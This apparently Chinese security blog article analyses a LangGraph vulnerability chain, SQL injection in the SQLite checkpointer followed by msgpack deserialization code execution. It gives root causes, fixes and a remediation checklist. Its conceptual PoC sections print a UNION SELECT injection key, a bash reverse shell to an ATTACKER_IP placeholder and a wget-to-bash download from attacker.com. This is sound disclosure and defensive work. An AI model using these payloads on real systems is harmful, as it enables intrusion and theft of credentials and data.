⚠️ 免责声明: 本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于概念验证思路,不构成直接可用的攻击代码。请勿将相关技术用于未经授权的测试或攻击行为。

漏洞等级: CVSS 7.3 / 7.4(组合利用可升级为严重)
影响版本: langgraph-checkpoint-sqlite < 3.0.1,langgraph < 1.0.10
漏洞类型: SQL注入 + 反序列化远程代码执行(RCE)
CVE编号: CVE-2025-67644(SQL注入)、CVE-2025-64439(反序列化RCE)、CVE-2026-28277(补充编号)
影响范围: 所有使用SQLite或Redis checkpoint后端的自托管LangGraph实例
当前状态: ✅ 已修复(langgraph-checkpoint-sqlite ≥ 3.0.1,langgraph ≥ 1.0.10)


一、漏洞背景

1.1 LangGraph是什么

LangGraph是由LangChain团队开发的开源AI Agent编排框架,月下载量约4650-5000万次,是当前Python生态中使用最广泛的Agent工作流引擎之一。

与简单的LLM调用链不同,LangGraph专注于构建有状态、多步骤、多Actor的AI Agent系统。它的核心设计理念是将Agent执行过程建模为一张有向图(Graph),每个节点是一个处理步骤,每条边定义了步骤间的流转逻辑。

核心组件——Checkpointer(检查点持久化层):

LangGraph区别于普通LLM链的关键特性是状态持久化。Agent运行过程中的对话历史、工具调用结果、中间推理步骤,全部通过checkpointer组件存储到后端数据库。这使得Agent可以"记住"之前的执行状态,支持暂停-恢复、时间旅行(回退到任意历史状态)、人机协作等高级能力。

LangGraph支持多种checkpoint后端:

后端适用场景部署模式
SQLite本地开发、轻量部署单文件数据库,开发环境常用
Redis分布式、高性能适合生产环境的内存存储
PostgreSQL企业级生产环境LangSmith托管平台使用

1.2 漏洞发现与披露时间线

时间事件
2025-11Check Point Research研究员Yarden Porat同时发现三个漏洞,披露给LangChain团队
2025-12修复版本陆续开始发布
2026-03langgraph-checkpoint-redis 1.0.2 发布,修复最后一个漏洞
2026-06-11Check Point Research公开发表研究报告,完整披露攻击链

1.3 漏洞概述

这不是一个漏洞,而是一条完整的攻击链——两个独立漏洞的组合,形成了一条从SQL注入到远程代码执行的致命通路:

  1. CVE-2025-67644(CVSS 7.3):SQLite checkpoint层的SQL注入漏洞,允许攻击者在查询结果中插入伪造数据
  2. CVE-2025-64439(CVSS 7.4):msgpack反序列化层的远程代码执行漏洞,允许通过精心构造的序列化数据执行任意Python代码

单独来看,每个漏洞都是"中等严重"。但组合在一起,它们形成了一条完整的RCE链——攻击者可以通过一个SQL注入点,将恶意序列化payload注入到checkpoint数据中,然后在LangGraph加载该checkpoint时触发任意代码执行。

此外还涉及一个Redis checkpoint注入漏洞(CVE-2026-27022,CVSS 6.5),可绕过访问控制。


二、漏洞原理与复现

2.1 漏洞一:SQL注入(CVE-2025-67644)

位置: langgraph-checkpoint-sqlite 包中的 SQLiteSaver.metadata_predicate() 函数

根因: query_key 通过Python f-string直接拼接进SQL WHERE子句,没有使用参数化查询。

问题代码:

# metadata_predicate() 函数中的关键代码
def metadata_predicate(
    metadata: dict[str, Any],
    query_key: str,
    operator: str
) -> str:
    # ❌ 危险:query_key 通过 f-string 直接拼入 SQL
    return f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"

调用链:

# get_state_history() 和 list() 方法接受 filter 参数
# filter 中的 key 直接传入 metadata_predicate()
def get_state_history(
    self,
    config: RunnableConfig,
    *,
    filter: Optional[dict[str, Any]] = None  # ← 用户可控
) -> Iterator[CheckpointTuple]:
    
    if filter:
        for query_key, value in filter.items():
            # query_key 未经任何过滤或转义
            predicate = metadata_predicate(metadata, query_key, operator)
            # 拼入 SQL WHERE 子句 → SQL注入
            where_clause += f" AND {predicate}"

攻击入口: get_state_history()list() 方法的 filter 参数。如果应用层暴露了这个接口且 filter 的 key 来自用户输入,攻击者就可以注入任意SQL片段。

2.2 漏洞二:反序列化RCE(CVE-2025-64439)

位置: LangGraph的 JsonPlusSerializer 组件,具体在msgpack checkpoint解码器中

根因: 反序列化extension types时,使用了危险的 getattr(importlib.import_module(module_name), callable_name)(arguments) 模式,允许调用任意Python callable。

问题代码(简化):

# JsonPlusSerializer 中的 msgpack 反序列化逻辑
def _decode_ext_type(self, code: int, data: bytes):
    module_name = extract_module(data)    # 从序列化数据中提取模块名
    callable_name = extract_callable(data) # 从序列化数据中提取可调用对象名
    arguments = extract_args(data)         # 从序列化数据中提取参数
    
    # ❌ 致命:动态加载任意模块的任意函数并执行
    module = importlib.import_module(module_name)
    target = getattr(module, callable_name)
    return target(**arguments)  # ← RCE入口

攻击者可以构造恶意msgpack payload,使反序列化时执行:

# 等价于攻击者构造的 payload 被解码为:
import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'")

# 或者
import subprocess
subprocess.Popen(["wget", "http://attacker.com/malware.sh", "-O", "-", "|", "bash"])

本质: 这等同于Python版的 pickle.loads() 反序列化漏洞——任何允许攻击者控制反序列化输入的系统,都等价于允许远程代码执行。

2.3 数据流向(安全分析视角)

阶段1:SQL注入 → 植入恶意checkpoint
  用户可控的 filter 参数
       ↓
  metadata_predicate()  [无参数化查询,f-string拼接]
       ↓
  SQLite WHERE 子句  [UNION SELECT 注入伪造行]
       ↓
  伪造的 checkpoint 行(含恶意 msgpack payload)
       ↓
  查询结果返回给 LangGraph

阶段2:反序列化 → 触发RCE
  LangGraph 加载 checkpoint
       ↓
  msgpack 解码器  [JsonPlusSerializer]
       ↓
  importlib.import_module() + getattr()  [动态调用任意callable]
       ↓
  os.system("恶意命令")  [RCE达成]
       ↓
  服务器完全失陷

核心问题:两个组件各自都有安全缺陷,单独存在时风险有限,但组合在一起形成了一条从"数据注入"到"代码执行"的完整攻击路径。


三、攻击流程介绍

3.1 漏洞利用前提

  • LangGraph实例使用 SQLite checkpoint后端(或Redis后端,对应CVE-2026-27022)
  • 应用暴露了 get_state_history()list() 接口,且 filter参数可由用户控制
  • 受影响版本未打补丁

⚠️ 重要说明: LangChain官方托管平台(LangSmith Deployment)使用PostgreSQL后端,不受本次漏洞影响。受影响的主要是自托管部署中使用SQLite或Redis的实例。

3.2 利用路径总览

步骤攻击阶段揭示的风险
Step 1SQL注入探测确认filter参数可注入,checkpoint数据库可被操纵
Step 2注入伪造checkpoint通过UNION SELECT在查询结果中插入恶意序列化数据
Step 3触发反序列化LangGraph加载伪造checkpoint,触发msgpack解码
Step 4RCE达成任意代码执行,服务器完全控制

3.3 漏洞利用链路示意

                    ┌──────────────────────────────┐
                    │     攻击者                    │
                    │  构造恶意 filter 参数         │
                    └───────────┬──────────────────┘
                                │ Step 1: SQL注入
                                ▼
                    ┌──────────────────────────────┐
                    │   LangGraph 应用层            │
                    │   get_state_history(filter)  │
                    │   filter 参数未做净化          │
                    └───────────┬──────────────────┘
                                │ Step 1→2: f-string拼入SQL
                                ▼
                    ┌──────────────────────────────┐
                    │   SQLite Checkpoint 数据库    │
                    │   UNION SELECT 注入伪造行     │
                    │   checkpoint列 = 恶意msgpack  │
                    └───────────┬──────────────────┘
                                │ Step 3: 返回伪造checkpoint
                                ▼
                    ┌──────────────────────────────┐
                    │   JsonPlusSerializer          │
                    │   msgpack 反序列化             │
                    │   importlib + getattr 调用     │
                    └───────────┬──────────────────┘
                                │ Step 4: RCE
                                ▼
                    ┌──────────────────────────────┐
                    │   💀 服务器完全控制            │
                    │   - LLM API Keys 泄露        │
                    │   - 完整对话历史暴露           │
                    │   - 连接的数据系统可访问       │
                    │   - 内网横向移动跳板           │
                    └──────────────────────────────┘

四、模拟复现

以下为基于Check Point Research公开报告中的PoC思路,给出的概念验证教学示意。所有代码仅为理解漏洞原理,不构成直接可用的攻击工具。请仅在自己的测试环境中验证。

环境准备

  • 测试环境:本地部署的 LangGraph 应用,使用 SQLite checkpoint 后端
  • 受影响版本:langgraph-checkpoint-sqlite < 3.0.1langgraph < 1.0.10
  • Python 3.10+

Step 1:SQL注入——植入伪造Checkpoint

攻击者通过 get_state_history() 的 filter 参数注入恶意SQL:

# 概念验证:SQL注入构造(教学示意,非可直接运行)
# 正常调用:
# graph.get_state_history(filter={"user_id": "alice"})
#
# 攻击者构造的恶意 filter key:
malicious_filter = {
    "1') UNION SELECT "
    "thread_id, checkpoint_ns, checkpoint_id, "
    "parent_checkpoint_id, checkpoint, metadata "  # 伪造的列数据
    "FROM (SELECT "
    "'malicious_thread', '', 'injected_checkpoint', '', "
    # checkpoint列中嵌入恶意msgpack payload
    "X'87...' AS checkpoint, "  # 精心构造的 msgpack 二进制数据
    "'{}' AS metadata) -- ": "value"
}

# 实际执行时,metadata_predicate() 会生成如下SQL:
# json_extract(CAST(metadata AS TEXT), '$.<注入的SQL>') <operator>
# 
# 最终拼出的SQL类似:
# SELECT * FROM checkpoints WHERE 
#   json_extract(CAST(metadata AS TEXT), '$.1') UNION SELECT ...') = 'value'
#
# UNION SELECT 成功在查询结果中插入一行攻击者控制的伪造 checkpoint

Step 2:构造恶意msgpack Payload

利用CVE-2025-64439的反序列化特性,构造可以执行系统命令的msgpack extension type:

# 概念验证:恶意 msgpack payload 构造思路
import msgpack

# JsonPlusSerializer 使用 msgpack extension type 来编码 Python 对象
# extension type 的格式大致为:(module_name, callable_name, arguments)

# 攻击者需要构造一个 extension type,使其解码后等价于:
# import os; os.system("恶意命令")

# 恶意 payload 的核心结构(简化示意):
malicious_payload = {
    "module": "os",           # importlib.import_module("os")
    "callable": "system",     # getattr(os, "system")
    "args": {
        "command": "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
    }
}

# 将上述结构编码为 msgpack extension type 格式
# packed = msgpack.packb(malicious_payload, use_bin_type=True)
# 然后嵌入到 Step 1 的 UNION SELECT 的 checkpoint 列中

Step 3:触发反序列化——RCE达成

当LangGraph应用调用 get_state_history() 并接收到包含伪造checkpoint的查询结果时:

# 应用层代码(受害者端)
from langgraph.checkpoint.sqlite import SqliteSaver

checkpointer = SqliteSaver.from_conn_string("checkpoints.db")

# 这一调用会:
# 1. 执行被注入的SQL(Step 1的UNION SELECT生效)
# 2. 返回结果中包含攻击者伪造的checkpoint行
# 3. LangGraph尝试加载这个checkpoint
history = list(checkpointer.get_state_history(filter=malicious_filter))

# 在加载checkpoint的过程中:
# → checkpoint列的msgpack数据被送入 JsonPlusSerializer
# → msgpack解码器解析 extension type
# → importlib.import_module("os") + getattr(os, "system")
# → os.system("bash -c '...'") → 反弹shell到攻击者服务器
# → 💀 RCE 达成

Step 4:被控后的影响评估

一旦RCE成功,攻击者可以:

资产类别具体内容危害等级
🔴 LLM API密钥OpenAI、Anthropic、Google等所有配置的API Key密钥泄露 + 巨额账单
🔴 完整对话历史所有Agent执行过的对话、prompt、工具调用结果商业机密/用户隐私泄露
🔴 连接的数据系统CRM、工单系统、计费系统、客户PII数据数据泄露 + 合规风险
🟡 内网横向移动以服务器身份访问内部网络的其他系统整个内网沦陷
🟡 持久化后门在Agent工作流中植入后门,每次执行都触发长期潜伏

💡 风险本质: LangGraph的checkpoint存储了Agent执行过程中的所有状态数据,包括LLM密钥、对话历史、工具调用凭据等。一个checkpoint层的注入漏洞,等同于整个AI Agent系统的"记忆"被篡改和窃取。


五、修复记录

5.1 官方修复

修复1:SQL注入防护(CVE-2025-67644)

修复版本:langgraph-checkpoint-sqlite ≥ 3.0.1

核心修复:将f-string拼接改为参数化查询

# 修复前(危险):
return f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"

# 修复后(安全):
# 使用参数化查询,query_key 作为参数传入,不再直接拼入SQL
cursor.execute(
    "SELECT * FROM checkpoints WHERE json_extract(CAST(metadata AS TEXT), ?) = ?",
    (f"$.{query_key}", value)
)
修复2:反序列化安全加固(CVE-2025-64439)

修复版本:langgraph ≥ 1.0.10

核心修复:对 JsonPlusSerializer 的extension type解码添加白名单机制,禁止加载非预期的模块和callable。

# 修复前(危险):
module = importlib.import_module(module_name)  # 可加载任意模块
target = getattr(module, callable_name)        # 可获取任意函数

# 修复后(安全):
# 添加允许的模块白名单,仅允许反序列化预定义的安全类型
ALLOWED_MODULES = {"langchain_core", "langgraph", "pydantic", ...}
if module_name not in ALLOWED_MODULES:
    raise SecurityError(f"Deserialization of {module_name} is not allowed")
修复3:Redis checkpoint注入(CVE-2026-27022)

修复版本:langgraph-checkpoint-redis ≥ 1.0.2

核心修复:对RediSearch查询参数进行严格校验和转义,防止查询注入。

5.2 运营方自救清单

如果你正在运营使用LangGraph的AI Agent系统,请立即执行以下检查:

优先级操作说明
🔴 P0检查版本确认 langgraph-checkpoint-sqlite 是否 < 3.0.1,langgraph 是否 < 1.0.10
🔴 P0立即升级pip install --upgrade langgraph-checkpoint-sqlite>=3.0.1 langgraph>=1.0.10
🔴 P0排查filter入口检查应用中是否有将用户输入直接传入 get_state_history(filter=...) 的代码路径
🟡 P1轮换所有密钥如果怀疑已被利用,立即轮换所有LLM API密钥和系统凭据
🟡 P1检查审计日志查看checkpoint数据库是否有异常的写入或查询记录
🟡 P1部署认证层LangGraph Server不应直接暴露,必须在反向代理/API网关后加认证
🟢 P2最小权限原则Agent运行时使用的凭据应遵循最小权限,限制可访问的系统范围
🟢 P2采用credential brokering避免在Agent中使用长期静态密钥,改为动态凭据代理模式

5.3 关联漏洞提醒

LangGraph/LangChain生态在2025-2026年披露了多个安全漏洞,建议一并排查:

CVE编号类型CVSS影响
CVE-2025-67644SQLite checkpoint SQL注入7.3本次文章
CVE-2025-64439msgpack反序列化RCE7.4本次文章
CVE-2026-27022Redis checkpoint查询注入6.5绕过访问控制
CVE-2026-28277反序列化RCE补充编号6.8本次文章

六、总结与思考

6.1 这个漏洞链为什么值得关注?

单独看,SQL注入(7.3)和反序列化RCE(7.4)都只是"高"级别。但组合在一起,它们代表了一种经典的链式攻击模式——数据注入 → 代码执行

这种模式在安全史上反复出现:

  • 2015年的Apache Commons Collections反序列化链
  • 2021年的Log4Shell(日志注入 → JNDI查找 → RCE)
  • 现在的LangGraph(SQL注入 → 伪造checkpoint → 反序列化RCE)

核心教训是:安全评估不能只看单个漏洞的CVSS分数,而要看漏洞之间的组合效应。 两个"高"危漏洞组合在一起,实际危害可能超过一个"严重"漏洞。

6.2 对AI开发者的警示

  1. Checkpointer是信任边界:checkpoint存储了Agent的"记忆",包括密钥、对话、工具调用结果。它不是一个普通的数据存储,而是整个Agent系统的信任根基。对checkpoint数据的读写必须有严格的安全控制。

  2. 参数化查询不是可选项:2025年了,SQL注入仍然是AI框架中的高危漏洞。任何接受用户输入并用于数据库查询的代码路径,都必须使用参数化查询,没有例外。

  3. 反序列化 = 代码执行:任何允许攻击者控制反序列化输入的系统,都等价于允许远程代码执行。Python的 picklemsgpack extension types、Java的 ObjectInputStream 都是已知的危险区域。修复方案是白名单机制,而非黑名单。

  4. AI Agent是特权身份:AI Agent通常持有LLM API密钥、数据库凭据、第三方服务token等高价值凭据。安全架构上应将Agent视为"compromised privileged account"——假设它随时可能被攻破,在此基础上设计纵深防御。

  5. 托管平台 ≠ 自托管:LangSmith使用PostgreSQL后端,不受此次SQLite漏洞影响。但大量企业在本地或私有云自托管LangGraph,使用的是SQLite做快速验证——这些"开发环境"往往最终变成了生产环境。

6.3 写在最后

2026年6月11日,Check Point Research公开披露了这条攻击链,引发了AI安全社区的广泛关注。LangGraph作为月下载量近5000万的Agent框架,其checkpoint层的安全缺陷影响范围不可小觑。

但这不意味着LangGraph"不安全"——恰恰相反,这次漏洞的发现、披露和修复流程是负责任披露的典范:2025年11月私下报告给LangChain团队,经过数月协调修复后,于2026年6月公开发表。LangChain团队也在收到报告后迅速发布了修复版本。

真正值得警惕的是模式:AI Agent框架正在快速成为企业基础设施的一部分,但它们的安全成熟度远未达到企业级要求。从FastGPT的未认证SSRF(第1篇),到PraisonAI的巨型漏洞簇(第2篇),再到LangGraph的SQL注入→RCE链,我们看到的是同一个问题反复出现——开发速度远超安全意识

作为AI开发者,我们需要在"快速迭代"和"安全基线"之间找到平衡。至少做到:参数化查询、认证全覆盖、反序列化白名单、凭据最小权限。这四条做到了,80%的漏洞链就断了。


参考资料


上一篇回顾: PraisonAI巨型漏洞簇——MCP STDIO供应链攻击
下一篇预告: Langflow路径遍历→RCE(CVE-2026-5027)——当AI工作流的文件访问没有边界

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐